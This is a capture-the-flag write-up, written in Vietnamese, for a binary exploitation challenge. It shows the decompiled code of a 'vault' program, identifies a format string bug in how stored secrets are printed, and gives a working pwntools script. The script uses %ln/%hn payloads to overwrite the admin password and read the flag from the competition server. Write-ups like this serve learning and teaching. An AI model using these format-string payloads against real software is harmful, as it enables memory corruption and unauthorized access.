pwn - Anyone Think
Pwn to find the password
Tiếp tục với bài pwn thứ 2, 11 solves. Bài này mình có ý tưởng rất đơn giản, không biết có phải là unintended solution hay ko :v

Source Code
Reverse engineer bằng IDA, và sau đó cho vào Claude, mình được các thứ như sau:
Entry struct
struct Entry
{
char name[32];
char secret[128];
int access_level;
};main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s[10]; // [rsp+2h] [rbp-Eh] BYREF
int choice; // [rsp+Ch] [rbp-4h]
sub_4012EE();
sub_4012B6(a1, a2);
while ( 1 )
{
print_menu();
fgets(s, 10, stdin);
choice = atoi(s);
if ( choice == 4 )
break;
if ( choice > 4 )
goto invalid_choice;
switch ( choice )
{
case 3:
admin_panel();
break;
case 1:
add_entry();
break;
case 2:
view_entry();
break;
default:
invalid_choice:
puts("[-] Invalid choice!");
break;
}
}
puts("Goodbye!");
return 0;
}add_entry()
int add_entry()
{
Entry *entry; // [rsp+8h] [rbp-8h]
if ( num_of_vaults > 9 )
return puts("[-] Vault is full!");
entry = &entries[num_of_vaults];
printf("[+] Enter name: ");
read(0, entry, 31u);
entry->name[strcspn(entry->name, "\n")] = 0;
printf("[+] Enter secret: ");
read(0, entry->secret, 127u);
entry->secret[strcspn(entry->secret, "\n")] = 0;
entry->access_level = 1;
++num_of_vaults;
return puts("[+] Entry added successfully!");
}view_entries()
int view_entries()
{
int result; // eax
int index; // [rsp+Ch] [rbp-4h]
if ( !num_of_vaults )
return puts("[-] Vault is empty!");
puts("\n[+] Vault Entries:");
for ( index = 0; ; ++index )
{
result = num_of_vaults;
if ( index >= num_of_vaults )
break;
printf("\n--- Entry #%d ---\n", index);
printf("Name: %s\n", entries[index].name);
printf("Secret: ");
printf(entries[index].secret);
putchar('\n');
printf("Access Level: %d\n", access_levels[41 * index]);
}
return result;
}Để ý ở đây ta gặp format string bug printf(entries[index].secret.
admin_panel()
int admin_panel()
{
char s[128]; // [rsp+0h] [rbp-140h] BYREF
struct stat v2; // [rsp+80h] [rbp-C0h] BYREF
char buf[40]; // [rsp+110h] [rbp-30h] BYREF
FILE *stream; // [rsp+138h] [rbp-8h]
puts("\n[!] Admin Panel Access");
printf("[+] Enter admin password: ");
read(0, buf, 31u);
buf[strcspn(buf, "\n")] = 0;
if ( strcmp(buf, password) )
return puts("[-] Access denied!");
dword_40474C = 1;
puts("[+] Admin access granted!");
if ( stat("/home/ctf/flag.txt", &v2) )
return puts("[-] flag.txt does not exist!");
stream = fopen("/home/ctf/flag.txt", "r");
if ( !stream )
return puts("[-] fopen failed on flag.txt!");
if ( fgets(s, 128, stream) )
printf("[FLAG] %s\n", s);
else
puts("[-] flag.txt is empty!");
return fclose(stream);
}Mục tiêu của ta là leak được password hoặc ghi đè nó bằng giá trị khác.
Mitigation

Lần đầu tiên mình gặp bài không checksec được, nên cũng loay hoay mãi =)) Ở đây mình dùng hardening-check, thấy là PIE disable, không có canary, Full RELRO,…

Sử dụng readelf -l còn thấy stack là vùng RWE.

Solve

Mặc dù không gdb được ngay trực tiếp, ta vẫn có thể attach nó vào sau.
Ta break ngay trước lời gọi printf() và quan sát stack:

Vì format string không ghi thẳng vào trong stack, ta sẽ lợi dụng cái đã có sẵn trong stack để ghi đè mật khẩu. Ý tưởng rất đơn giản như sau:
- Saved rbp
0x7fffffffdcc0đã ở trên stack, FSB để ghi địa chỉ củapasswordvàorbptrước đó (Tại0x7fffffffdcc0như trong ảnh trên).

- Địa chỉ của
passwordgiờ ở trên stack, FSB để ghi đè vàopassword.

Có vẻ như ta không dùng gì đến vùng stack RWE =))
Script
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.arch = 'amd64'
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
b *0x40153C
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process('./vault')
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "chall.cscv.vn"
port = 9999
return remote(host, port)
p = conn()
def add_entry(name, secret):
slan(p, b'>>>', 1)
sla(p, b'name:', name)
sla(p, b'secret:', secret)
def view_entries():
slan(p, b'>>>', 2)
sleep(1)
password_addr = 0x4040A0
add_entry(b'A', f'%{password_addr}c%8$ln'.encode())
add_entry(b'A', f'%{0x41}c%12$hn'.encode())
sleep(0.5)
view_entries()
slan(p, b'>>>', 3)
sla(p, b'password:', b'A')
ru(p, b'[FLAG]')
print(rl(p).strip().decode())